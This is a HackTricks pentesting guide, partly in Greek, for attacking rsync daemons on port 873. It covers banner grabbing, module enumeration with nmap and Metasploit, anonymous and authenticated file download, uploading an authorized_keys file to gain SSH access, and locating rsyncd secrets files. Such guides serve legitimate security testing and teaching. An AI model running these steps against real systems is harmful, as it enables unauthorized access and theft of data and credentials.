hacktricks/network-services-pentesting/873-pentesting-rsync.md

113 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Basic Information**
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** είναι ένα εργαλείο για την αποδοτική [μεταφορά](https://en.wikipedia.org/wiki/File\_transfer) και [συγχρονισμό](https://en.wikipedia.org/wiki/File\_synchronization) [αρχείων](https://en.wikipedia.org/wiki/Computer\_file) μεταξύ ενός υπολογιστή και ενός εξωτερικού σκληρού δίσκου και σε [δικτυωμένους](https://en.wikipedia.org/wiki/Computer\_network) [υπολογιστές](https://en.wikipedia.org/wiki/Computer) συγκρίνοντας τους [χρόνους τροποποίησης](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) και τα μεγέθη των αρχείων.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Βρίσκεται συνήθως σε [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [λειτουργικά συστήματα](https://en.wikipedia.org/wiki/Operating\_system). Ο αλγόριθμος rsync είναι ένας τύπος [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding) και χρησιμοποιείται για τη μείωση της χρήσης δικτύου. [Zlib](https://en.wikipedia.org/wiki/Zlib) μπορεί να χρησιμοποιηθεί για επιπλέον [συμπίεση δεδομένων](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) και [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ή [stunnel](https://en.wikipedia.org/wiki/Stunnel) μπορεί να χρησιμοποιηθεί για ασφάλεια.
**Default port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Enumeration
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Καταμέτρηση Κοινών Φακέλων**
**Τα modules Rsync** αναγνωρίζονται ως **κοινές καταλόγοι** που μπορεί να είναι **προστατευμένοι με κωδικούς πρόσβασης**. Για να εντοπιστούν τα διαθέσιμα modules και να ελεγχθεί αν απαιτούν κωδικούς πρόσβασης, χρησιμοποιούνται οι εξής εντολές:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Να είστε προσεκτικοί ότι ορισμένα κοινά μπορεί να μην εμφανίζονται στη λίστα, πιθανώς κρύβοντάς τα. Επιπλέον, η πρόσβαση σε ορισμένα κοινά μπορεί να περιορίζεται σε συγκεκριμένα **credentials**, όπως υποδεικνύεται από ένα μήνυμα **"Access Denied"**.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Χειροκίνητη Χρήση Rsync
Αφού αποκτηθεί μια **λίστα modules**, οι ενέργειες εξαρτώνται από το αν απαιτείται αυθεντικοποίηση. Χωρίς αυθεντικοποίηση, η **καταγραφή** και η **αντιγραφή** αρχείων από έναν κοινό φάκελο σε έναν τοπικό κατάλογο επιτυγχάνεται μέσω:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Αυτή η διαδικασία **μεταφέρει αρχεία αναδρομικά**, διατηρώντας τα χαρακτηριστικά και τις άδειές τους.
Με **διαπιστευτήρια**, η καταχώρηση και η λήψη από έναν κοινόχρηστο φάκελο μπορεί να γίνει ως εξής, όπου θα εμφανιστεί μια προτροπή για κωδικό πρόσβασης:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Για να **ανεβάσετε περιεχόμενο**, όπως ένα _**authorized_keys**_ αρχείο για πρόσβαση, χρησιμοποιήστε:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Για να εντοπίσετε το αρχείο ρύθμισης παραμέτρων rsyncd, εκτελέστε:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Within this file, a _secrets file_ parameter might point to a file containing **ονόματα χρηστών και κωδικούς πρόσβασης** for rsyncd authentication.
## References
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}